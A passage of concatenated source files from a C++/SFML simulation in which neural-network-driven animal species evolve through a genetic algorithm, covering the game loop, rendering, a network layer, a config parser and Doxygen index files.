dp *= ANIMAL_LINEAR_SPEED;
da *= ANIMAL_ANGULAR_SPEED;
// mise à jour de lastPos et speed pour l'interpolation (cf le lien dans game.cpp au sujet de la gameloop)
speed.x = dp * cosf(angle/180.f*PI);
speed.y = dp * sinf(angle/180.f*PI);
lastPos = pos;
// Application aux données du mobile
angle += da;
while( angle < -180.f )
angle += 360.f;
while( angle >= 180.f )
angle -= 360.f;
pos.x = (int) (pos.x + speed.x) % WORLD_SIZE;
pos.y = (int) (pos.y + speed.y) % WORLD_SIZE;
// Le modulo sort parfois des résultats négatifs, on doit corriger ca :
if (pos.x < 0)
pos.x += WORLD_SIZE;
if (pos.y < 0)
pos.y += WORLD_SIZE;
}
std::vector<float> Animal::getDNA() {
return network.getDNA();
}
<file_sep>#include "entity.h"
Entity::Entity() : angle(0), WORLD_SIZE(CFG->readInt("WorldSize")) {}
<file_sep>#include "game.h"
Game::Game()
: display(this), continuer(true), generation(1),
ITERATIONS_PER_GENERATION(CFG->readInt("IterationsPerGeneration")),
DEFAULT_GAME_SPEED(CFG->readInt("DefaultGameSpeed")), MINIMUM_FPS(CFG->readInt("MinimumFps")),
gameSpeedRatio(1), fps(0), ups(0), iterations(0), updatesCount(0), displaysCount(0) {
}
Game::~Game() {}
/* Game loop basée sur celle de DeWITTERS, à cette adresse :
* http://www.koonsolo.com/news/dewitters-gameloop/
*
* Cela permet de controler la vitesse d'execution de l'update, de ne pas dépendre de l'affichage, et de le fluidifier
*/
void Game::loop() {
clock.restart();
oneSecondClock.restart();
while (continuer) {
display.events();
sf::Time updateDeltaTime = sf::seconds(1) / (gameSpeedRatio * DEFAULT_GAME_SPEED);
maxDisplayTick = clock.getElapsedTime() + sf::seconds(1) / (float) MINIMUM_FPS;
while( clock.getElapsedTime() > nextUpdateTick && clock.getElapsedTime() < maxDisplayTick ) {
update();
updatesCount++;
nextUpdateTick += updateDeltaTime;
}
updateFps();
sf::Time interpolation = clock.getElapsedTime() + updateDeltaTime - nextUpdateTick;
display.update(manager, interpolation.asSeconds() / updateDeltaTime.asSeconds());
displaysCount++;
}
}
void Game::increaseGameSpeed() {
gameSpeedRatio = (gameSpeedRatio >= 1) ? gameSpeedRatio + 1 : gameSpeedRatio*2;
}
void Game::decreaseGameSpeed() {
gameSpeedRatio = (gameSpeedRatio > 1) ? gameSpeedRatio - 1 :
(gameSpeedRatio < .001) ? gameSpeedRatio : gameSpeedRatio/2;
}
void Game::newGeneration() {
genetics.evolve(manager);
manager.init();
iterations = 0;
sf::Time generationDuration = clock.restart();
std::cout << "Génération #" << generation++ << " lasted " << generationDuration.asSeconds() << " seconds" << std::endl;
nextUpdateTick = sf::Time::Zero;
maxDisplayTick = sf::seconds(1) / (float) MINIMUM_FPS;
}
void Game::update() {
if (iterations >= ITERATIONS_PER_GENERATION)
newGeneration();
manager.update();
iterations++;
}
void Game::updateFps() {
if (oneSecondClock.getElapsedTime() >= sf::seconds(1)) {
float dt = oneSecondClock.restart().asSeconds();
fps = displaysCount / dt;
ups = updatesCount / dt;
displaysCount = 0;
updatesCount = 0;
}
}
<file_sep>var searchData=
[
['bush',['Bush',['../fruit_8h.html#a821849b8b231998fc0b5e7b2d20c483d',1,'fruit.h']]]
];
<file_sep>var searchData=
[
['layer',['Layer',['../class_layer.html#a16d6a7a3cff2e9e489186400a9d0f4f2',1,'Layer']]],
['loop',['loop',['../class_game.html#a7ad92b77b596d7882a7ae76eb18b5e6c',1,'Game']]]
];
<file_sep>var searchData=
[
['savefile',['saveFile',['../class_config_parser.html#a98928657410a8c91f9d68c5d5235ace1',1,'ConfigParser']]],
['setdna',['setDNA',['../class_layer.html#acd14a68865522c3e63a0dab87dd3a100',1,'Layer::setDNA()'],['../class_neural_network.html#a38e8afa4eb8651b80c48b577ecdc6c4a',1,'NeuralNetwork::setDNA()'],['../class_neuron.html#a873e07fce168dfde42961ea151593c9f',1,'Neuron::setDNA()']]],
['setfloat',['setFloat',['../class_config_parser.html#a18ad19fa692a557be50d868fd3f83ca3',1,'ConfigParser']]],
['setint',['setInt',['../class_config_parser.html#a49ddd20e2f9ea0ea864c3006d2177323',1,'ConfigParser']]],
['setstring',['setString',['../class_config_parser.html#a6eba995aa9d58ad843d05e3f0a003d3e',1,'ConfigParser']]]
];
<file_sep>#include "display.h"
#include "game.h"
Display::Display(Game* _game)
: game(_game), window(sf::VideoMode(CFG->readInt("WindowWidth"), CFG->readInt("WindowHeight")), CFG->readString("WindowTitle")),
STATUS_BAR_WIDTH(CFG->readInt("StatusBarWidth")), WORLD_SIZE(CFG->readInt("WorldSize")), VIEW_MOVE_DELTA(CFG->readInt("ViewMoveDelta")),
windowWidth(CFG->readInt("WindowWidth")), windowHeight(CFG->readInt("WindowHeight")), hasFocus(true) {
window.setVerticalSyncEnabled(true);
// circle defining the animal
int animalRadius = CFG->readInt("AnimalRadius");
animalShape.setRadius(animalRadius);
animalShape.setOrigin(animalRadius, animalRadius);
animalShape.setOutlineThickness(-2);
animalShape.setFillColor(sf::Color(0, 0, 0));
// animal's head, represented by a triangle at the front of the animal
animalHeadShape.setPointCount(3);
animalHeadShape.setPoint(0, sf::Vector2f(animalRadius, -animalRadius/2));
animalHeadShape.setPoint(1, sf::Vector2f(animalRadius + sqrt(3 * animalRadius*animalRadius / 4), 0));
animalHeadShape.setPoint(2, sf::Vector2f(animalRadius, animalRadius/2));
animalHeadShape.setFillColor(sf::Color(0, 0, 0));
int fruitRadius = CFG->readInt("FruitRadius");
fruitShape.setRadius(fruitRadius);
fruitShape.setOrigin(fruitRadius, fruitRadius);
fruitShape.setFillColor(sf::Color::Green);
lineShape.setSize(sf::Vector2f(15, 1));
font.loadFromFile("files/DroidSans.ttf");
text.setFont(font);
text.setCharacterSize(16);
text.setStyle(sf::Text::Bold);
// options des views
mainView.setCenter(WORLD_SIZE/2, WORLD_SIZE/2);
mainView.setSize(windowWidth, windowHeight);
}
void Display::update(const EntityManager &manager, const float &_interpolation) {
interpolation = _interpolation;
// evenements liés au déplacement de la caméra
cameraEvents();
// display game elements
window.clear();
displayGame(manager, mainView);
displayUI(manager);
window.display();
}
void Display::events() {
sf::Event event;
while (window.pollEvent(event)) {
switch (event.type) {
case sf::Event::Closed :
game->quit();
break;
case sf::Event::KeyReleased :
switch (event.key.code) {
case sf::Keyboard::Escape :
game->quit();
break;
default :
break;
}
break;
case sf::Event::KeyPressed :
switch (event.key.code) {
// Accelerer/ralentir le temps
case sf::Keyboard::Right :
game->increaseGameSpeed();
break;
case sf::Keyboard::Left :
game->decreaseGameSpeed();
break;
// Zoom/dezoom de la view
case sf::Keyboard::Up :
mainView.zoom(0.8);
break;
case sf::Keyboard::Down :
mainView.zoom(1.2);
break;
default :
break;
}
break;
case sf::Event::GainedFocus :
hasFocus = true;
break;
case sf::Event::LostFocus :
hasFocus = false;
break;
default :
break;
}
}
}
void Display::displayGame(const EntityManager &manager, const sf::View &view) {
// Vue des éléments du jeu
window.setView(view);
drawFruits(manager.getFruits(), view);
std::vector<Species> species = manager.getSpecies();
for (int i = 0; i < (int) species.size(); i++) {
speciesColor(i);
drawAnimals(species[i].tab, view);
}
drawGameBorders(view);
}
void Display::displayUI(const EntityManager &manager) {
// Vue des éléments de l'UI
window.setView(window.getDefaultView());
// Texte info en haut à gauchean
std::stringstream ss;
ss << "Generation #" << game->getGeneration() << std::endl;
ss << "Iterations : " << (int) game->getIterations() << "/" << game->getIterationsPerGeneration() << std::endl;
ss << "GameSpeed : " << game->getGameSpeedRatio() << std::endl;
ss << "FPS : " << game->getFps() << std::endl << "UPS : " << game->getUps() << std::endl;
text.setString(ss.str());
text.setPosition(10, 10);
window.draw(text);
}
void Display::cameraEvents() {
// Evenements de déplacement de la caméra
if (hasFocus) {
if (sf::Keyboard::isKeyPressed(sf::Keyboard::Z))
mainView.move(0, -VIEW_MOVE_DELTA);
if (sf::Keyboard::isKeyPressed(sf::Keyboard::Q))
mainView.move(-VIEW_MOVE_DELTA, 0);
if (sf::Keyboard::isKeyPressed(sf::Keyboard::S))
mainView.move(0, VIEW_MOVE_DELTA);
if (sf::Keyboard::isKeyPressed(sf::Keyboard::D))
mainView.move(VIEW_MOVE_DELTA, 0);
}
}
void Display::drawFruits(const std::vector<Fruit*> &fruits, const sf::View &view) {
for (unsigned int i = 0; i < fruits.size(); i++) {
if (!isInsideView(fruits[i]->getPos(), view))
continue;
fruitShape.setPosition(fruits[i]->getPos().x, fruits[i]->getPos().y);
window.draw(fruitShape);
}
}
void Display::drawAnimals(const std::vector<Animal*> &animals, const sf::View &view) {
for (unsigned int i = 0; i < animals.size(); i++) {
Vect2i animalDisplayPos = animals[i]->getDisplayPos(interpolation);
if (!animals[i]->isAlive() || !isInsideView(animalDisplayPos, view))
continue;
animalShape.setPosition(animalDisplayPos.x, animalDisplayPos.y);
animalShape.setRotation(animals[i]->getAngle());
window.draw(animalShape);
animalHeadShape.setPosition(animalDisplayPos.x, animalDisplayPos.y);
animalHeadShape.setRotation(animals[i]->getAngle());
window.draw(animalHeadShape);
// vecteur vers le plus proche fruit
if (animals[i]->getClosestFruitAngle() != 0)
drawVector(animalDisplayPos, animals[i]->getClosestFruitAngle(), sf::Color::Green, sf::Vector2f(15, 1));
// vecteur vers le plus proche ennemi
if (animals[i]->getClosestEnemyAngle() != 0)
drawVector(animalDisplayPos, animals[i]->getClosestEnemyAngle(), sf::Color::Red, sf::Vector2f(15, 1));
// vecteur vers le plus proche ennemi
if (animals[i]->getClosestAllyAngle() != 0)
drawVector(animalDisplayPos, animals[i]->getClosestAllyAngle(), sf::Color::Blue, sf::Vector2f(15, 1));
// dessin de l'angle relatif de l'ennemi
/*
Vect2i barPosition;
barPosition.x = animalDisplayPos.x - STATUS_BAR_WIDTH/2;
barPosition.y = animalDisplayPos.y + animalShape.getLocalBounds().height * 3 / 2;
drawVector(barPosition, 0, sf::Color(100, 0, 0), sf::Vector2f(animals[i]->getEnemyRelativeAngle() * STATUS_BAR_WIDTH / 360, 2));
// dessin de la barre de defense
barPosition.y += 4;
drawVector(barPosition, 0, sf::Color(0, 0, 100), sf::Vector2f(animals[i]->getAllyRelativeAngle() * STATUS_BAR_WIDTH / 360, 2));
//*/
// score
std::stringstream ss;
ss << animals[i]->getScore();
text.setString(ss.str());
text.setPosition(animalDisplayPos.x - text.getLocalBounds().width / 2,
animalDisplayPos.y - animalShape.getLocalBounds().height * 3 / 2 - text.getLocalBounds().height);
window.draw(text);
}
}
void Display::drawGameBorders(const sf::View &view) {
if (mainView.getCenter().x - mainView.getSize().x / 2 < 0)
drawVector(Vect2i(0, 0), 90, sf::Color::White, sf::Vector2f(WORLD_SIZE, 2));
if (mainView.getCenter().y - mainView.getSize().y / 2 < 0)
drawVector(Vect2i(0, 0), 0, sf::Color::White, sf::Vector2f(WORLD_SIZE, 2));
if (mainView.getCenter().x + mainView.getSize().x / 2 >= WORLD_SIZE)
drawVector(Vect2i(WORLD_SIZE, 0), 90, sf::Color::White, sf::Vector2f(WORLD_SIZE, 2));
if (mainView.getCenter().y + mainView.getSize().y / 2 >= WORLD_SIZE)
drawVector(Vect2i(0, WORLD_SIZE), 0, sf::Color::White, sf::Vector2f(WORLD_SIZE, 2));
}
void Display::speciesColor(int index) {
switch(index) {
case FOX :
animalShape.setOutlineColor(sf::Color(245, 150, 0));
animalHeadShape.setFillColor(sf::Color(245, 150, 0));
break;
case SNAKE :
animalShape.setOutlineColor(sf::Color(12, 216, 49));
animalHeadShape.setFillColor(sf::Color(12, 216, 49));
break;
case CHICKEN :
animalShape.setOutlineColor(sf::Color(150, 150, 150));
animalHeadShape.setFillColor(sf::Color(150, 150, 150));
break;
case LYNX :
animalShape.setOutlineColor(sf::Color(255, 245, 169));
animalHeadShape.setFillColor(sf::Color(255, 245, 169));
break;
case MONKEY :
animalShape.setOutlineColor(sf::Color(160, 90, 69));
animalHeadShape.setFillColor(sf::Color(160, 90, 69));
break;
case FISH :
animalShape.setOutlineColor(sf::Color(177, 175, 249));
animalHeadShape.setFillColor(sf::Color(177, 175, 249));
break;
default :
animalShape.setOutlineColor(sf::Color(150, 150, 150));
animalHeadShape.setFillColor(sf::Color(150, 150, 150));
break;
}
}
void Display::drawVector(const Vect2i &pos, const float &angle, const sf::Color &color, const sf::Vector2f &size) {
lineShape.setFillColor(color);
lineShape.setPosition(pos.x, pos.y);
lineShape.setRotation(angle);
lineShape.setSize(size);
window.draw(lineShape);
}
bool Display::isInsideView(const Vect2i &pos, const sf::View &view) {
return ((pos.x >= view.getCenter().x - view.getSize().x / 2) &&
(pos.x < view.getCenter().x + view.getSize().x / 2) &&
(pos.y >= view.getCenter().y - view.getSize().y / 2) &&
(pos.y < view.getCenter().y + view.getSize().y / 2));
}
<file_sep>var searchData=
[
['debug',['DEBUG',['../config__parser_8cpp.html#ad72dbcf6d0153db1b8d8a58001feed83',1,'config_parser.cpp']]]
];
<file_sep>#include "layer.h"
Layer::Layer(unsigned int _inputsNumber, unsigned int _neuronsNumber)
: inputsNumber(_inputsNumber), neuronsNumber(_neuronsNumber) {
initNeurons();
}
Layer::~Layer() {}
// Initialisation des neurones de la couche
void Layer::initNeurons() {
neurons.clear();
for (unsigned int i = 0; i < neuronsNumber; i++)
neurons.push_back(Neuron(inputsNumber));
outputs.clear();
outputs.resize(neuronsNumber);
}
// Execution de tous les neurones en fonction de inputs
std::vector<float> Layer::run(const std::vector<float> inputs) {
for (unsigned int i = 0; i < neuronsNumber && i < inputs.size(); i++) {
outputs[i] = neurons[i].run(inputs);
}
return outputs;
}
// Fonctions servant à reconstituer l'ADN complet du NN
std::vector<float> Layer::getDNA() {
std::vector<float> DNA;
for (unsigned int i = 0; i < neuronsNumber; i++) {
std::vector<float> neuronDNA = neurons[i].getDNA();
DNA.insert(DNA.end(), neuronDNA.begin(), neuronDNA.end());
}
return DNA;
}
unsigned int Layer::getDNASize() const {
unsigned int DNASize = 0;
for (unsigned int i = 0; i < neuronsNumber; i++)
DNASize += neurons[i].getDNASize();
return DNASize;
}
// MaJ de l'ADN du NN après passage de l'algo génétique
void Layer::setDNA(const std::vector<float> &DNA) {
std::vector<float>::const_iterator begin = DNA.begin(), end;
for (unsigned int i = 0; i < neuronsNumber; i++) {
end = begin + neurons[i].getDNASize() - 1;
neurons[i].setDNA(std::vector<float>(begin, end));
begin = end + 1;
}
}
<file_sep>var class_genetics =
[
[ "Genetics", "class_genetics.html#a7c9a65ee1c7da6bbb4b35d46d1dcf4fa", null ],
[ "evolve", "class_genetics.html#a63e33bd3725feb511e19d86e2d07ca3b", null ]
];<file_sep>var entity__manager_8h =
[
[ "Species", "struct_species.html", "struct_species" ],
[ "EntityManager", "class_entity_manager.html", "class_entity_manager" ],
[ "Species", "entity__manager_8h.html#a0832728b7db46fc23415523bebbb91d8", null ]
];<file_sep>var NAVTREEINDEX0 =
{
"animal_8cpp.html":[1,0,0,0],
"animal_8cpp.html#af66075a058e499320a380abe3bea31f4":[1,0,0,0,0],
"animal_8cpp_source.html":[1,0,0,0],
"animal_8h.html":[1,0,0,1],
"animal_8h_source.html":[1,0,0,1],
"annotated.html":[0,0],
"class_animal.html":[0,0,0],
"class_animal.html#a00ec5bc73a90c26bfcf889fa5b85e688":[0,0,0,8],
"class_animal.html#a0b6103b76a223ce2eaad73877ff85c73":[0,0,0,17],
"class_animal.html#a0dcf09dfc831663b028a58a2c841dc06":[0,0,0,10],
"class_animal.html#a16d8b7f94611cc65f5cdb58cc105527b":[0,0,0,1],
"class_animal.html#a18790d841ee27bf53ac8dfeb91750a80":[0,0,0,16],
"class_animal.html#a1e726a49ec952443190ac62dad22353c":[0,0,0,0],
"class_animal.html#a280335c5deaf3402c85ab95a7653a483":[0,0,0,28],
"class_animal.html#a31a4619f7b33b8b3ad6c0b1f43898cac":[0,0,0,12],
"class_animal.html#a38d08d48cf5b16863bb40fa731b06629":[0,0,0,18],
"class_animal.html#a38e826603b1d70a75c89c59964d7e34e":[0,0,0,23],
"class_animal.html#a3db09e6629852d9a54dc5b6648d3fb28":[0,0,0,21],
"class_animal.html#a4004efb93813a375712ad5d82a404659":[0,0,0,19],
"class_animal.html#a4468a9e53e199e90deccd07d2315f13a":[0,0,0,20],
"class_animal.html#a45483c0d3e22a02ca60aa83f4b1b0b23":[0,0,0,5],
"class_animal.html#a49148f18eaebc09edf2bac4d3e44c7ea":[0,0,0,4],
"class_animal.html#a53819180fe828fe2b68c7bbd7932ec9d":[0,0,0,22],
"class_animal.html#a557fe0d71dda75be2f8459ce0d7c2275":[0,0,0,2],
"class_animal.html#a5857d66a5303516578af7fc52ffc1107":[0,0,0,15],
"class_animal.html#a587480ed32eadd3b7590e880f05d5e4d":[0,0,0,24],
"class_animal.html#a61e897a85af66b3b8315e313ed86a307":[0,0,0,26],
"class_animal.html#a75461b99c111f22dbb0231bcc397a1c9":[0,0,0,14],
"class_animal.html#a757b167f05eafa17816598d4fcd2f184":[0,0,0,3],
"class_animal.html#a803f0b218477a5e365c1dde6128fb53e":[0,0,0,25],
"class_animal.html#a83a2929c3385a82aefaa689b3330c445":[0,0,0,9],
"class_animal.html#a9aedb2b6650341f976371a362d21ecfa":[0,0,0,11],
"class_animal.html#aac4b5d159b02fcae1dc6f427049c8485":[0,0,0,7],
"class_animal.html#ab5ab9a2e34464e0415b6588e820b0ad7":[0,0,0,27],
"class_animal.html#acd693bbac16d2f7dec930124887a9095":[0,0,0,13],
"class_animal.html#adabb251a3c5513ebbc62582a5a68055b":[0,0,0,6],
"class_config_parser.html":[0,0,2],
"class_config_parser.html#a18ad19fa692a557be50d868fd3f83ca3":[0,0,2,5],
"class_config_parser.html#a49ddd20e2f9ea0ea864c3006d2177323":[0,0,2,6],
"class_config_parser.html#a6eba995aa9d58ad843d05e3f0a003d3e":[0,0,2,7],
"class_config_parser.html#a7a4b723bc0f88e966f4b67347b5264cd":[0,0,2,1],
"class_config_parser.html#a98928657410a8c91f9d68c5d5235ace1":[0,0,2,4],
"class_config_parser.html#a9eb8031a0252a34fcb808dba2b9780e5":[0,0,2,2],
"class_config_parser.html#abcdb07fdc295e07adefbd338c552c493":[0,0,2,3],
"class_config_parser.html#adcaa724f20085403bb1beb7918903fdd":[0,0,2,0],
"class_display.html":[0,0,3],
"class_display.html#a05ee6cd33afcc51a5856148677a71c82":[0,0,3,2],
"class_display.html#a21052a50c5e922272d697aaf5cfb14cc":[0,0,3,0],
"class_display.html#a713ee81045f32895c2b063037c81c388":[0,0,3,3],
"class_display.html#ac2607a6bb236c55547a4223d40d85d1f":[0,0,3,1],
"class_entity.html":[0,0,4],
"class_entity.html#a2b870ef127d06e3f98109695817a1798":[0,0,4,9],
"class_entity.html#a31e6183ea44922d54a43be48b8fd4bc0":[0,0,4,5],
"class_entity.html#a588098978eea6a3486b7361605ff3f0f":[0,0,4,1],
"class_entity.html#a885ee23e7a2132f0d890bb2e312e6d77":[0,0,4,7],
"class_entity.html#a980f368aa07ce358583982821533a54a":[0,0,4,0],
"class_entity.html#a9cecc58b1b2f0c124701ff7add1b8224":[0,0,4,2],
"class_entity.html#abb6791bd923767cdf42a7e3101a6f76d":[0,0,4,6],
"class_entity.html#ac010fabbecbd86e008c69560bd216b86":[0,0,4,3],
"class_entity.html#ac2f290a20927f548e8742976b222a556":[0,0,4,4],
"class_entity.html#acd7af12063926ab8cd654539328e5532":[0,0,4,8],
"class_entity_manager.html":[0,0,5],
"class_entity_manager.html#a71a36c9fb8d579a1a1ec108e0fccf175":[0,0,5,1],
"class_entity_manager.html#a7555637657d090171be6ceee8451de0a":[0,0,5,0],
"class_entity_manager.html#aa54e413de0914b0f7e048627b7dc07f4":[0,0,5,2],
"class_entity_manager.html#abc6a2cc5077501f4b06d88f4ed3e7e31":[0,0,5,5],
"class_entity_manager.html#ac6f76079b0963ac7386a79b6bd346bd8":[0,0,5,3],
"class_entity_manager.html#ae0abecb1a8037d6af51d950491115bfb":[0,0,5,4],
"class_fruit.html":[0,0,6],
"class_fruit.html#a231aadb8a3dbf6fe68fc36a0435ff15b":[0,0,6,3],
"class_fruit.html#a6a7c7d5b678582f6e941e7f78e5fba2e":[0,0,6,2],
"class_fruit.html#aa40ce1fdb1b361880d27171f05a2ab5a":[0,0,6,0],
"class_fruit.html#abd3325dd4faef5b64785aa61cd4046fa":[0,0,6,1],
"class_game.html":[0,0,7],
"class_game.html#a16dc509013f9a07a905656830bfa674d":[0,0,7,4],
"class_game.html#a3949b192e3277375cd07c98d3360bc44":[0,0,7,5],
"class_game.html#a7ad92b77b596d7882a7ae76eb18b5e6c":[0,0,7,10],
"class_game.html#a7c89563d299f25881c8c8a42c1e3219e":[0,0,7,9],
"class_game.html#a8272be134d16c277bb014ad6a22fc357":[0,0,7,11],
"class_game.html#a90335116dc7ad193f6476a0c2a502662":[0,0,7,3],
"class_game.html#aa555c6e4a6d743384a99c55d75a37bd2":[0,0,7,8],
"class_game.html#abcda9001eb350576bae25bc51b567422":[0,0,7,7],
"class_game.html#ad59df6562a58a614fda24622d3715b65":[0,0,7,0],
"class_game.html#adc07928f26c664cefc2c6abee7846d5e":[0,0,7,6],
"class_game.html#adcf5df2f7a3f5209f974741667b1236f":[0,0,7,2],
"class_game.html#ae3d112ca6e0e55150d2fdbc704474530":[0,0,7,1],
"class_genetics.html":[0,0,8],
"class_genetics.html#a63e33bd3725feb511e19d86e2d07ca3b":[0,0,8,1],
"class_genetics.html#a7c9a65ee1c7da6bbb4b35d46d1dcf4fa":[0,0,8,0],
"class_layer.html":[0,0,9],
"class_layer.html#a01093e904ef7331b99fccc9abe1174aa":[0,0,9,3],
"class_layer.html#a08ee50fd54abe23d9fc94551c7b4be3f":[0,0,9,4],
"class_layer.html#a16d6a7a3cff2e9e489186400a9d0f4f2":[0,0,9,0],
"class_layer.html#a18d9fa45eb9ff61f5d5bb9c74179bf30":[0,0,9,2],
"class_layer.html#a1b1ba4804451dfe6cc357194e42762ae":[0,0,9,1],
"class_layer.html#a33387425a6f32b455bdca87496a891c9":[0,0,9,5],
"class_layer.html#acd14a68865522c3e63a0dab87dd3a100":[0,0,9,6],
"class_neural_network.html":[0,0,10],
"class_neural_network.html#a2daf940807763cd3d81661f93d99e6ba":[0,0,10,3],
"class_neural_network.html#a38e8afa4eb8651b80c48b577ecdc6c4a":[0,0,10,4],
"class_neural_network.html#a3af96ee26597b200166e3a2523d56ad9":[0,0,10,0],
"class_neural_network.html#abd6e6ec0a4500527150c127f0f8d7c23":[0,0,10,1],
"class_neural_network.html#ace5b58e0174ef1f318db06f0b19f694b":[0,0,10,2],
"class_neuron.html":[0,0,11],
"class_neuron.html#a1d1bedb17ff3d87afcc282421579ad5f":[0,0,11,5],
"class_neuron.html#a2626c0a0fa4dbca17dc7fd9b3b390c07":[0,0,11,2],
"class_neuron.html#a40d81d3ea3f2af3e2f3297533132fd31":[0,0,11,3],
"class_neuron.html#a873e07fce168dfde42961ea151593c9f":[0,0,11,6],
"class_neuron.html#a94a250ce7e167760e593979b899745b1":[0,0,11,1],
"class_neuron.html#aac37e4753166ab39e0f4f6d90fdeda57":[0,0,11,0],
"class_neuron.html#abb3a85d2adf4a9c5a5b646c83086a2ae":[0,0,11,4],
"classes.html":[0,1],
"config__parser_8cpp.html":[1,0,0,2],
"config__parser_8cpp.html#ad72dbcf6d0153db1b8d8a58001feed83":[1,0,0,2,0],
"config__parser_8cpp_source.html":[1,0,0,2],
"config__parser_8h.html":[1,0,0,3],
"config__parser_8h_source.html":[1,0,0,3],
"dir_68267d1309a1af8e8297ef4c3efbcdba.html":[1,0,0],
"display_8cpp.html":[1,0,0,4],
"display_8cpp_source.html":[1,0,0,4],
"display_8h.html":[1,0,0,5],
"display_8h_source.html":[1,0,0,5],
"entity_8cpp.html":[1,0,0,6],
"entity_8cpp_source.html":[1,0,0,6],
"entity_8h.html":[1,0,0,7],
"entity_8h_source.html":[1,0,0,7],
"entity__manager_8cpp.html":[1,0,0,8],
"entity__manager_8cpp_source.html":[1,0,0,8],
"entity__manager_8h.html":[1,0,0,9],
"entity__manager_8h.html#a0832728b7db46fc23415523bebbb91d8":[1,0,0,9,2],
"entity__manager_8h_source.html":[1,0,0,9],
"files.html":[1,0],
"fruit_8cpp.html":[1,0,0,10],
"fruit_8cpp_source.html":[1,0,0,10],
"fruit_8h.html":[1,0,0,11],
"fruit_8h.html#a821849b8b231998fc0b5e7b2d20c483d":[1,0,0,11,2],
"fruit_8h_source.html":[1,0,0,11],
"functions.html":[0,3,0],
"functions_func.html":[0,3,1],
"functions_vars.html":[0,3,2],
"game_8cpp.html":[1,0,0,12],
"game_8cpp_source.html":[1,0,0,12],
"game_8h.html":[1,0,0,13],
"game_8h_source.html":[1,0,0,13],
"genetics_8cpp.html":[1,0,0,14],
"genetics_8cpp_source.html":[1,0,0,14],
"genetics_8h.html":[1,0,0,15],
"genetics_8h_source.html":[1,0,0,15],
"globals.html":[1,1,0],
"globals_defs.html":[1,1,4],
"globals_eval.html":[1,1,3],
"globals_func.html":[1,1,1],
"globals_type.html":[1,1,2],
"hierarchy.html":[0,2],
"index.html":[],
"layer_8cpp.html":[1,0,0,16],
"layer_8cpp_source.html":[1,0,0,16],
"layer_8h.html":[1,0,0,17],
"layer_8h_source.html":[1,0,0,17],
"main_8cpp.html":[1,0,0,18],
"main_8cpp.html#a840291bc02cba5474a4cb46a9b9566fe":[1,0,0,18,0],
"main_8cpp_source.html":[1,0,0,18],
"neural__network_8cpp.html":[1,0,0,19],
"neural__network_8cpp_source.html":[1,0,0,19],
"neural__network_8h.html":[1,0,0,20],
"neural__network_8h_source.html":[1,0,0,20],
"neuron_8cpp.html":[1,0,0,21],
"neuron_8cpp_source.html":[1,0,0,21],
"neuron_8h.html":[1,0,0,22],
"neuron_8h_source.html":[1,0,0,22],
"pages.html":[],
"struct_bush.html":[0,0,1],
"struct_bush.html#a3b40c2cda3c709539246d302e74b8168":[0,0,1,1],
"struct_bush.html#ab3135be5ff260f0e223cb9c64f4aedc3":[0,0,1,0],
"struct_species.html":[0,0,12],
"struct_species.html#ad608dc238745c2120e642fe5222d0afb":[0,0,12,0],
"struct_vect2i.html":[0,0,13],
"struct_vect2i.html#a141de752973cb8b63e70e16f84653f03":[0,0,13,0],
"struct_vect2i.html#a32d99812cd2cccca2b9751259783b699":[0,0,13,2],
"struct_vect2i.html#ae76ced0cba575b16f9de72e78828122b":[0,0,13,1],
"utils_8h.html":[1,0,0,23],
"utils_8h.html#a06fc87d81c62e9abb8790b6e5713c55ba1b56ce6b979242ea0223334ed2438a8d":[1,0,0,23,5],
"utils_8h.html#a06fc87d81c62e9abb8790b6e5713c55ba2c9e081066c09f8b4709fe0cb618500f":[1,0,0,23,7],
"utils_8h.html#a06fc87d81c62e9abb8790b6e5713c55ba49dfe965c16e3b6e89dc275b3707f692":[1,0,0,23,8],
"utils_8h.html#a06fc87d81c62e9abb8790b6e5713c55ba4d32e9d38eff7badd2435c3e87ae78a5":[1,0,0,23,9],
"utils_8h.html#a06fc87d81c62e9abb8790b6e5713c55ba5be6859802c9a30fa29e56608914e667":[1,0,0,23,10],
"utils_8h.html#a06fc87d81c62e9abb8790b6e5713c55ba7b83bba0067a592898404136ead1f3e6":[1,0,0,23,4],
"utils_8h.html#a06fc87d81c62e9abb8790b6e5713c55ba7d71275d46953bd71d2c6b11e219ee24":[1,0,0,23,6],
"utils_8h.html#a598a3330b3c21701223ee0ca14316eca":[1,0,0,23,2],
"utils_8h.html#ac78c5725422c0d27681a678fd24251c3":[1,0,0,23,1],
"utils_8h.html#adfec4d83ed4c3c15bd0a4dbfb978102e":[1,0,0,23,3],
"utils_8h_source.html":[1,0,0,23]
};
<file_sep>#include "config_parser.h"
using namespace std;
#define DEBUG 0
ConfigParser* ConfigParser::singleton = NULL;
void ConfigParser::create(const string &fileName) {
if (singleton != NULL)
kill();
singleton = new ConfigParser(fileName);
}
void ConfigParser::kill() { delete singleton; }
ConfigParser* ConfigParser::get() {
if (singleton == NULL)
create();
return singleton;
}
ConfigParser::ConfigParser(const std::string &fileName)
: typeString{ "[int]", "[float]", "[string]" }, commentString("#"), extensionString(".cfg"), assignChar('='), defaultFile("files/config.cfg") {
if (fileName.empty())
mFileName = defaultFile;
else if (fileName.compare(fileName.size()-extensionString.size(), extensionString.size(), extensionString) == 0) {
mFileName = fileName;
} else {
mFileName = fileName + extensionString;
}
initMaps();
}
int ConfigParser::readInt(const string &key, const int &defaultValue) const {
if (!mIntMap.count(key))
return defaultValue;
else
return mIntMap.find(key)->second;
}
float ConfigParser::readFloat(const string &key, const float &defaultValue) const {
if (!mFloatMap.count(key))
return defaultValue;
else
return mFloatMap.find(key)->second;
}
string ConfigParser::readString(const string &key, const string &defaultValue) const {
if (!mStringMap.count(key)) {
return defaultValue;
} else {
return mStringMap.find(key)->second;
}
}
void ConfigParser::setInt(const string &key, const int &value) {
if (mIntMap.count(key)) {
mIntMap.find(key)->second = value;
return;
}
mIntMap.insert(pair<string, int>(key, value));
}
void ConfigParser::setFloat(const string &key, const float &value) {
if (mFloatMap.count(key)) {
mFloatMap.find(key)->second = value;
return;
}
mFloatMap.insert(pair<string, float>(key, value));
}
void ConfigParser::setString(const string &key, const string &value) {
if (mStringMap.count(key)) {
mStringMap.find(key)->second = value;
return;
}
mStringMap.insert(pair<string, string>(key, value));
}
void ConfigParser::readFile(const std::string &fileName) {
mFileName = fileName;
initMaps();
}
void ConfigParser::initMaps() {
ifstream file(mFileName.c_str());
if (!file.is_open()) {
cerr << "Error opening " << mFileName << endl;
mFileName = defaultFile;
file.open(mFileName.c_str());
if (file.is_open())
cerr << "Opening " << mFileName << " instead" << endl;
else {
cerr << "Could not even open " << mFileName << " instead : aborting initMaps()" << endl;
file.close();
return;
}
}
mIntMap.clear();
